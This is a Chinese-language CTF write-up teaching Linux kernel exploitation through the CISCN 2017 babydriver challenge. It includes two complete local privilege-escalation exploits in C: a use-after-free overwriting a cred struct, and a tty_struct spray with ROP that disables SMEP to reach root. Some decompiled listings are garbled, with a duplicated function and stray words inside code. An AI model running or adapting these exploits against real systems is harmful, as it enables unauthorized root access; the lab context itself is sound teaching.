安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】一道简单内核题入门内核利用

http://p1.qhimg.com/t01a9f2a6d5a4135b07.jpg


前言


对于学过用户空间pwn的同学来说,内核一直是向往但是却不知道如何下手的一个地方,最近的CISCN比赛中出现了一道内核的基础题目,我认为是一道非常适合内核入门的一道题目,所以我就这道题目,通过自己的分析,希望让大家学会如何去分析一道内核的题目,如何去完成内核的题目,如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节,学会分析。


调试环境


内核的知识很多,我没有办法将所有知识都阐述详细,我在这里默认大家已经知道了以下内容的基本概念:

内核

特权等级

内核空间与用户空间

系统调用

slab/slub分配器

内核模块/驱动

这些都是内核的基础知识,我在这里不做详细的阐述,大家可以自己去找找资料,我在这里主要将这些基础概念给大家一个直观的印象。

1. 内核

内核是操作系统的核心,目的是为上层提供一个接口,和CPU进行交互,方式就是通过设置各种CPU所需要的结构,让CPU能够提供相应的功能,比如设置虚拟内存所需要的一些结构,使得CPU能够顺利识别,从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。

2. 特权等级

CPU将指令分为各种特权等级,特权指令就是必须在特定特权下才能够执行的指令,否则会出现错误,intel将特权等级分为ring0到ring3,其中ring3特权最低,ring0最高,linux只使用了ring0和ring3,ring0为内核运行的等级,ring3为用户运行的等级。

3. 内核空间与用户空间

内核空间就是操作系统自己运行的空间,运行在ring0特权等级,拥有自己的空间,位于内存的高地址,而用户空间则是我们平时应用程序运行的空间,运行在ring3特权等级,使用较低地址。内核拥有自己的栈,和用户空间的栈并不共用。

4. 系统调用

系统调用是linux内核向用户空间提供功能的方式,通过调用特定的系统调用,用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用,通过传入特定的参数,内核可以读取用户输入,并且输入到buf里。

通过使用系统调用,用户空间用户程序将会转入内核空间去执行,在执行完之后通过特殊方式回到用户空间,中间会涉及到用户空间与内核空间的切换。大致流程如下:

1) 进入

i. 通过swapgs切换GS段寄存器,是将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用。

ii. 将当前栈顶(用户空间栈顶)记录在CPU独占变量区域里,将CPU独占区域里记录的内核栈顶放入rsp(esp)。

iii. 通过push保存各寄存器值,代码如下:

http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S 

1.  ENTRY(entry_SYSCALL_64)
2.  /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
3.  SWAPGS_UNSAFE_STACK
4. 
5.  /* 保存栈值,并设置内核栈 */
6.  movq %rsp, PER_CPU_VAR(rsp_scratch)
7.  movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
8. 
9. 
10./* 通过push保存寄存器值,形成一个pt_regs结构 */
11./* Construct struct pt_regs on stack */
12.pushq  $__USER_DS      /* pt_regs->ss */
13.pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
14.pushq  %r11             /* pt_regs->flags */
15.pushq  $__USER_CS      /* pt_regs->cs */
16.pushq  %rcx             /* pt_regs->ip */
17.pushq  %rax             /* pt_regs->orig_ax */
18.pushq  %rdi             /* pt_regs->di */
19.pushq  %rsi             /* pt_regs->si */
20.pushq  %rdx             /* pt_regs->dx */
21.pushq  %rcx tuichu    /* pt_regs->cx */
22.pushq  $-ENOSYS        /* pt_regs->ax */
23.pushq  %r8              /* pt_regs->r8 */
24.pushq  %r9              /* pt_regs->r9 */
25.pushq  %r10             /* pt_regs->r10 */
26.pushq  %r11             /* pt_regs->r11 */
27.sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */

iv. 通过汇编指令判断是否是x32_abi(暂时可以忽略这个内容)。

v. 通过系统调用号,跳到全局变量sys_call_table相应位置继续执行相应系统调用。

2) 退出

i. 通过swapgs恢复GS值。

ii. 通过sysretq或者iretq恢复到用户空间进行执行,如果使用Iretq还需要给出用户空间的一些信息,比如CS值,eflags标志寄存器值,用户栈顶位置等等信息。

5. slab/slub分配器

这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。

slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。

6. 内核模块/驱动

这是linux拓展内核功能的一个功能,通过向内核插入内核模块可以动态的加载一些驱动代码,用来负责和硬件进行交互,或者在内核层提供一些软件功能。内核模块运行在内核空间,可以通过设备文件来进行交互,比如/dev/目录下的文件很多就是设备文件,打开设备文件,关闭设备文件等等就是使用open、close函数,这些函数在内核模块里进行定义,然后在加载的时候按照一定的规则进行设置,所以通过这些函数可以调用到内核里的模块的相应设置好的函数,最后在内核完成一系列操作,为用户空间提供功能。

SMEP是我需要稍微提一下的,这是一个内核的保护机制,目的是避免ret2usr利用方式,ret2usr即从内核空间劫持控制流,使得控制流回到用户空间,以ring 0执行用户空间代码来进行提权。开启了SMEP的时候,CPU将会阻止在ring 0执行用户空间代码。这是一个CPU功能,由CPU的CR4寄存器管理,用一个位来标志是否开启SMEP保护。不过,SMEP保护并没有阻止直接从用户空间获取数据,只是阻止执行用户空间代码。


题目


好了基础基本就提到这里,让我们来看一道题,这道题是ciscn-2017的babydriver,题目难度不大,很适合入门,让我们可以很直观的感受到完成一次内核pwn的整个过程。

1. 题目分析

题目给出了3个文件,一个rootfs.cpio一个bzImage和一个boot.sh,boot.sh内容如下:

1.#!/bin/bash
2.
3.qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

很显然我们需要安装qemu,这个就自己去安装啦。

然后就是一个对qemu的调用,kernel使用了bzImage,然后用rootfs.cpio作为initrd,其实就是bzImage是内核的映像,然后rootfs.cpio是根文件的映像。在远程,也就是使用这个boot.sh打开的qemu环境,我们能接触到的就是在这个qemu环境里。

qemu环境里有flag,可是我们没有权限读取,必须是root才有权限读取,显然我们需要进行提权。

通过查看/lib/modules/目录,我们发现有一个babydriver.ko,通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里,我们还可以看到其加载的地址,很好!

接下来的任务就很显然了,我们需要看懂babydriver.ko干了什么。

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

open函数:

1.  __int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)
2.  {
3.  char *v4; // rax@1
4.  __int64 v5; // rdx@1
5. 
6.  _fentry__(inode, filp, a3, a4);
7.  LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6),  0x24000C0LL, 64LL);
8.  babydev_struct.device_buf = v4;
9.  babydev_struct.device_buf_len = 64LL;
10. printk("device open\n", 0x24000C0LL, v5);
11. return 0LL;
12.}

close函数:

1.__int64 __fastcall babyopen(inode *inode, file *filp, __int64a3, __int64 a4)
2.  {
3.   char *v4; // rax@1
4.  __int64 v5; // rdx@1
5. 
6. _fentry__(inode, filp, a3, a4);
7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6),  0x24000C0LL, 64LL);
8. babydev_struct.device_buf = v4;
9.  babydev_struct.device_buf_len = 64LL;
10.  printk("device open\n", 0x24000C0LL, v5);
11. return 0LL;
12.}

ioctl函数:

1. __int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)
2. {
3. size_t v4; // rdx@1
4. size_t v5; // rbx@1
5. char *v6; // rax@2
6. __int64 v7; // rdx@2
7. __int64 result; // rax@2
8. 
9. _fentry__(filp, command, arg, a4);
10. v5 = v4;silu
11. if ( (_DWORD)command == 0x10001 )
12. {
13. kfree(babydev_struct.device_buf);
14. LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);
15. babydev_struct.device_buf = v6;
16. babydev_struct.device_buf_len = v5;
17. printk("alloc done\n", 0x24000C0LL, v7);
18. result = 0LL;
19. }
20. else
21. {
22. printk(&default_arg_is_format_str, v4, v4);
23. result = -22LL;
24. }
25. return result;
26.}

write函数:

1. ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
2.  {
3. unsigned __int64 copy_len; // rdx@1
4. ssize_t result; // rax@2
5. ssize_t v6; // rbx@3
6. 
7. _fentry__(filp, buffer, length, offset);
8. if ( babydev_struct.device_buf )
9. {
10. result = -2LL;
11. if ( babydev_struct.device_buf_len > copy_len )
12. {
13. v6 = copy_len;
14. copy_from_user(babydev_struct.device_buf, buffer, copy_len);
15. result = v6;
16. }
17. }
18. else
19. {
20. result = -1LL;
21. }
22. return result;
23.}

read函数:

1.  ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
2.  {
3. unsigned __int64 copy_len; // rdx@1
4. ssize_t result; // rax@2
5. ssize_t v6; // rbx@3
6. 
7. _fentry__(filp, buffer, length, offset);
8. if ( babydev_struct.device_buf )
9. {
10. result = -2LL;
11. if ( babydev_struct.device_buf_len > copy_len )
12. {
13. v6 = copy_len;
14. copy_to_user(buffer, babydev_struct.device_buf, copy_len);
15. result = v6;
16. }
17. }
18. else
19. {
20. result = -1LL;
21. }
22. return result;
23.}

源码非常简单,大概就是有一个struct,其中保存了一个buf和一个size,buf在open时通过kmem_cache_alloc进行分配,这个分配其实是和kmalloc一个原理,这里我是通过查看源码发现的,具体查看的源码如下:

http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h 

1.  static __always_inline void *kmalloc(size_t size, gfp_t flags)
2.  {
3.  if (__builtin_constant_p(size)) 
4. {
5. if (size > KMALLOC_MAX_CACHE_SIZE)
6. return kmalloc_large(size, flags);
7.  #ifndef CONFIG_SLOB
8.  if (!(flags & GFP_DMA)) 
9.   {
10. int index = kmalloc_index(size);
11. 
12.  if (!index)
13. return ZERO_SIZE_PTR;
14. 
15. return kmem_cache_alloc_trace(kmalloc_caches[index], flags, size);
16. }
17.#endif
18. }
19. return __kmalloc(size, flags);
20.}

ifndef 是满足的,因为我们可以默认没有使用slob(猜的,因为大多数时候都是slub和slab,其中又以slub居多),所以return kmem_cache_alloc_trace其实就是open时候调用的,这里是因为常数时候编译器做了一个优化,所以看起来和kmalloc好像不太一样。

好了,open的时候kmalloc了一个大小为64的空间,然后size设置为64,release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL,不为NULL再检查大小是否满足要求,之后进行read和write操作,也就是向用户空间写或者读。

ioctl比较特殊,首先判断command是不是为0x10001,如果满足,将会释放之前的buf,新分配一个用户决定大小的空间,并且设置为size。

功能基本上就讲完了,乍一看好像没有漏洞,那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢?

我们假设我们打开了两个设备文件,也就是调用了两次open,第一次分配了,第二次其实将会覆盖第一次分配的buf,因为是全局的。有了这个思维,剩下的就好想了,如果我们release了第一个,第二个其实就已经是被释放过的了,这样,就造成了一个UAF了。

接下来我们就来讨论如何进行提权了,注意,题目是开启了SMEP保护的,从boot.sh中可以看出来。

2. 题目思路1.0

通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。

于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!

问题是,如何控制cred结构?别忘了,**相同大小的会被放在一块**,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。

好了,只剩下一个问题,大小是多少?

方法一:查看源码。因为配置比较多,效率比较低,还容易错。

方法二:编译一个带符号的内核,直接查看。

这里怎么使用方法二就是另外一篇文章的内容了,大概就是编译一个源码,然后去看符号就行了。因为一般这种内核也就是默认编译,所以相对也会比较准确的。

如果查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h 

1.  struct cred {
2.  atomic_t usage;
3.  #ifdef CONFIG_DEBUG_CREDENTIALS
4.  atomic_t subscribers; /* number of processes subscribed */
5.  void *put_addr;
6.  unsigned magic;
7.  #define CRED_MAGIC 0x43736564
8. #define CRED_MAGIC_DEAD 0x44656144
9. #endif
10. kuid_t uid; /* real UID of the task */
11. kgid_t gid; /* real GID of the task */
12. kuid_t suid; /* saved UID of the task */
13. kgid_t sgid; /* saved GID of the task */
14. kuid_t euid; /* effective UID of the task */
15. kgid_t egid; /* effective GID of the task */
16. kuid_t fsuid; /* UID for VFS ops */
17. kgid_t fsgid; /* GID for VFS ops */
18. unsigned securebits; /* SUID-less security management */
19. kernel_cap_t cap_inheritable; /* caps our children can inherit */
20. kernel_cap_t cap_permitted; /* caps we're permitted */
21. kernel_cap_t cap_effective; /* caps we can actually use */
22. kernel_cap_t cap_bset; /* capability bounding set */
23. kernel_cap_t cap_ambient; /* Ambient capability set */
24.#ifdef CONFIG_KEYS
25. unsigned char jit_keyring; /* default keyring to attach requested keys to */
26. struct key __rcu *session_keyring; /* keyring inherited over fork */
27. struct key *process_keyring; /* keyring private to this process */
28. struct key *thread_keyring; /* keyring private to this thread */
29. struct key *request_key_auth; /* assumed request_key authority */
30.#endif
31.#ifdef CONFIG_SECURITY
32. void *security; /* subjective LSM security */
33.#endif
34. struct user_struct *user; /* real user ID subscription */
35. struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
36. struct group_info *group_info; /* supplementary groups for euid/fsgid */
37. struct rcu_head rcu; /* RCU deletion hook */
38.};

对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码,我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了

方法就很简单了,看看exp吧。

1.  #include <stdio.h>
2.  #include <unistd.h>
3.  #include <stdlib.h>
4.  #include <fcntl.h>
5.  #include <string.h>
6.  #include <sys/types.h>
7.  #include <sys/wait.h>
8.  #include <sys/ioctl.h>
9.  #include <pthread.h>
10.#define CRED_SIZE 168
11.#define DEV_NAME "/dev/babydev"
12.char buf[100];
13.int main() 
14.{
15. int fd1, fd2, ret;
16. char zero_buf[100];
17. memset(zero_buf, 0, sizeof(char) * 100);
18. fd1 = open(DEV_NAME, O_RDWR);
19. fd2 = open(DEV_NAME, O_RDWR);
20. 
21. ret = ioctl(fd1, 0x10001, CRED_SIZE);
22. 
23. close(fd1);
24. 
25. int now_uid = 1000;//当前uid为1000
26. int pid = fork();
27. if (pid < 0)
28. {
29. perror("fork error");
30. return 0;
31. }
32. 
33. if (!pid) 
34. {
35. //写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了。
36. ret = write(fd2, zero_buf, 28);
37. now_uid = getuid();
38. if (!now_uid) 
39. {
40. printf("get root done\n");
41. // 权限修改完毕,启动一个shell,就是root的shell了。
42. system("/bin/sh");
43. exit(0);
44. }
45. else
46. {
47. puts("failed?");
48. exit(0);
49. }
50. }
51. else
52. {
53. wait(NULL);
54. }
55. close(fd2);
56. return 0;
57.}

3. 题目思路2.0

好了,第一种方法只是个开胃菜,非常简单非常粗暴,现在让我们来看看更麻烦的方法,使用tty_struct。关于tty的知识我在这里不想做过多解释,大家可以自行查找资料。反正tty也是一种设备,通过'/dev/ptmx'可以打开这个设备,我们要做的,就是去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流,完美!那么又该干点什么呢?

由于开启了smep,我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以,那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份,可惜我们还有更多的工作要做。

既然问题是开启了smep,那么简单,我们反正都控制了执行流,把它关掉就好了。关掉的方法就是通过写入cr4寄存器,将smep位关掉就好了,关掉smep,我们就可以回去执行提权的函数啦。

可是光是控制一次执行流是没办法做这么多工作的,而且我们也没法执行用户空间指定的代码,方法嘛,也是我们常见的方法,ROP。

通过在内核空间进行ROP,执行内核代码,关掉smep,之后回用户空间提权,然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

好了,几个难点如下:

1) 如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

2) 如何设定栈?已解决,xchg eax, esp。

3) 如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

4) 如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

5) 如何获取shell?还需要解决?直接system("/bin/sh");不就完了,用户空间的代码可是我们自己写的啊!

6) 实际问题:如何写ROP链?

剩下一个实际问题需要我们解决了,主要是,怎么找gadget?

bzImage实际上是已经被压缩过得vmlinuz,我们需要通过linux源码里scripts目录下的extract-vmlinux来extract,之后直接通过ropper或者ROPGadgets获取gadget就可以了。

接下来就是要找哪些gadget的问题了,根据之前的问题,我们需要如下的gadget:

1) xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

2) 写入cr4,来关闭smep。

3) swapgs,回到用户空间之前的准备。

4) iretq,用来回到用户空间特权级方便打开shell。

5) commit_creds

6) prepare_kernel_cred

7) 打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址,好了,解决完毕。

于是任务就简单了,让我们来看看exp:

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <unistd.h>
4.  #include <sys/types.h>
5.  #include <errno.h>
6.  #include <sys/stat.h>
7.  #include <sys/ioctl.h>
8.  #include <fcntl.h>
9.  #include <string.h>
10.#include <pty.h>
11.#include <sys/mman.h>
12.#include <sys/ipc.h>
13.#include <sys/sem.h>
14.
15.#define TTY_STRUCT_SIZE 0x2e0
16.#define SPRAY_ALLOC_TIMES 0x100
17.
18.int spray_fd[0x100];
19.
20./*
21.
22.tty_struct:
23. int magic; // 4
24. struct kref kref; // 4
25. struct device *dev; // 8
26. struct tty_driver *driver; // 8
27. const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
28. [...]
29.
30.*/
31.
32.struct tty_operations {
33. struct tty_struct * (*lookup)(struct tty_driver *driver,
34. struct file *filp, int idx);
35. int (*install)(struct tty_driver *driver, struct tty_struct *tty);
36. void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
37. int (*open)(struct tty_struct * tty, struct file * filp);
38. void (*close)(struct tty_struct * tty, struct file * filp);
39. void (*shutdown)(struct tty_struct *tty);
40. void (*cleanup)(struct tty_struct *tty);
41. int (*write)(struct tty_struct * tty,
42. const unsigned char *buf, int count);
43. int (*put_char)(struct tty_struct *tty, unsigned char ch);
44. void (*flush_chars)(struct tty_struct *tty);
45. int (*write_room)(struct tty_struct *tty);
46. int (*chars_in_buffer)(struct tty_struct *tty);
47. int (*ioctl)(struct tty_struct *tty,
48. unsigned int cmd, unsigned long arg);
49. long (*compat_ioctl)(struct tty_struct *tty,
50. unsigned int cmd, unsigned long arg);
51. void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
52. void (*throttle)(struct tty_struct * tty);
53. void (*unthrottle)(struct tty_struct * tty);
54. void (*stop)(struct tty_struct *tty);
55. void (*start)(struct tty_struct *tty);
56. void (*hangup)(struct tty_struct *tty);
57. int (*break_ctl)(struct tty_struct *tty, int state);
58. void (*flush_buffer)(struct tty_struct *tty);
59. void (*set_ldisc)(struct tty_struct *tty);
60. void (*wait_until_sent)(struct tty_struct *tty, int timeout);
61. void (*send_xchar)(struct tty_struct *tty, char ch);
62. int (*tiocmget)(struct tty_struct *tty);
63. int (*tiocmset)(struct tty_struct *tty,
64. unsigned int set, unsigned int clear);
65. int (*resize)(struct tty_struct *tty, struct winsize *ws);
66. int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
67. int (*get_icount)(struct tty_struct *tty,
68. struct serial_icounter_struct *icount);
69. const struct file_operations *proc_fops;
70.};
71.
72.typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
73.typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_func)(unsigned long cred);
74.
75./* Gadgets */
76.commit_creds_func commit_creds = (commit_creds_func) 0xffffffff810a1420;
77.prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810;
78.unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;
79.unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
80.unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
81.//unsigned long iretq = 0xFFFFFFFF8181A797;
82.unsigned long iretq = 0xffffffff814e35ef;
83.unsigned long swapgs = 0xFFFFFFFF81063694;
84.
85./* status */
86.unsigned long user_cs, user_ss, user_eflags;
87.void save_stats() {
88. asm(
89. "movq %%cs, %0\n"
90. "movq %%ss, %1\n"
91. "pushfq\n"
92. "popq %2\n"
93. :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)
94. :
95. : "memory"
96. );
97.}
98.
99.void get_shell() {
100. // char *shell_str = "/bin/sh";
101. // char *args[] = {shell_str, NULL};
102. // execve(shell_str, args, NULL);
103. system("/bin/sh");
104.}
105.
106.void shellcode() {
107. commit_creds(prepare_kernel_cred(0));
108.}
109.
110.void exploit() {
111. char *buf = (char*) malloc(0x1000);
112. char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
113. struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
114. 
115. save_stats();
116. 
117. memset(fake_tty_operations, 0, sizeof(struct tty_operations));
118. fake_tty_operations->proc_fops = &fake_file_operations;
119. fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;
120. 
121. int fd1 = open("/dev/babydev", O_RDWR);
122. int fd2 = open("/dev/babydev", O_RDWR);
123. int fd;
124. //ioctl(fd2, 0x10001, 0xa8); // the same'11 as cred struct size
125. ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);
126. write(fd2, "hello world", strlen("hello world"));
127. close(fd1);
128. fd = fd2;
129. 
130. // spray tty
131. puts("[+] Spraying buffer with tty_struct");
132. for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
133. spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); 
134. if (spray_fd[i] < 0) {
135. perror("open tty");
136. }
137. }
138. 
139. // now we have a tty_struct in our buffer
140. puts("[+] Reading buffer content from kernel buffer");
141. long size = read(fd, buf, 32);
142.  if (size < 32) {
143. puts("[-] Reading not complete!");
144. printf("[-] Only %ld bytes read.\n", size);
145. }
146. puts("[+] Detecting buffer content type");
147. if (buf[0] != 0x01 || buf[1] != 0x54) {
148. puts("[-] tty_struct spray failed");
149. printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
150. puts("[-] Exiting...");
151. exit(-1);
152. }
153. 
154. puts("[+] Spray complete. Modifying function pointer");
155. unsigned long *temp = (unsigned long*)&buf[24];
156. *temp = (unsigned long)fake_tty_operations;
157. 
158. puts("[+] Preparing ROP chain");
159. unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
160. unsigned long base = lower_address & ~0xfff;
161. printf("[+] Base address is %lx\n", base);
162. if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
163.  perror("mmap");
164. exit(1);
165. }
166. 
167. unsigned long rop_chain[] = {
168. poprdiret,
169. 0x6f0,
170. native_write_cr4,
171. (unsigned long)shellcode,
172. swapgs,
173. base,
174. iretq,
175. (unsigned long)get_shell,
176. user_cs,
177. user_eflags,
178. base + 0x10000,
179. user_ss
180. };
181. memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
182. 
183. puts("[+] Writing function pointer to the driver");
184. long len = write(fd, buf, 32);
185. if (len < 0) {
186. perror("write");
187. exit(1);
188. }
189. 
190. puts("[+] Triggering");
191. for (int i = 0;i < 256; i++) {
192. ioctl(spray_fd[i], 0, 0); //FFFFFFFF814D8AED call rax
193. }
194. 
195.}
196.
197.int main() {
198. exploit();
199. return 0;
200.}

其中,tty_struct和tty_operations都是从源码里找到的结构,不太需要解释,file_operations的存在主要是给他一个有效的指针,避免一些可能出现的错误,然后save_state函数用来保存用户空间的cs、eflags、ss的值,在iretq的时候,需要提供rip,cs,eflags,用户栈位置,ss值,所以我们要提前保存好备用。

通过打开/dev/ptmx设备,我们就新建了tty_struct。

通过计算tty_struct的大小,提前使用ioctl将buf的大小设置为一样的大小,之后新建tty_struct的时候,tty_struct就会落在这个buf里。

之后我们通过修改tty_struct的tty_operations,设置为我们自己的tty_operations即可,我们自己的tty_operations再修改ioctl为xchg esp, eax来使得rsp指向用户空间。

而这里的位置我们提前mmap,放入rop_chain的内容,这样xchg之后rsp就指向了rop_chain开始的位置,进入了rop流程啦,最后rop结束,执行完毕,打开了root shell,提权成功!


总结


通过这道题目,我们大致了解了内核ctf题目的一个流程,还学习了利用tty_struct配合rop绕过smep进行利用的一个手法,当然,还学习了直接通过cred结构进行利用的手法,以及,我们知道了内核的漏洞和用户空间的不同之处,要按多线程的思路去考虑。

我觉得最重要的是,通过这篇文章,这道题目,我们知道了内核和用户空间的差异,以及怎么样去完成一个内核利用,和最最重要的,在不明白的时候,看!源!码! linux是个开源的操作系统,一定要利用好开源的优势,不懂的时候多去看看源码,一切都会简单许多。


参考


1. http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html 

2. https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html 


本文地址:http://bobao.360.cn/learning/detail/4148.html

未经允许不得转载:安全路透社 » 【技术分享】一道简单内核题入门内核利用

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册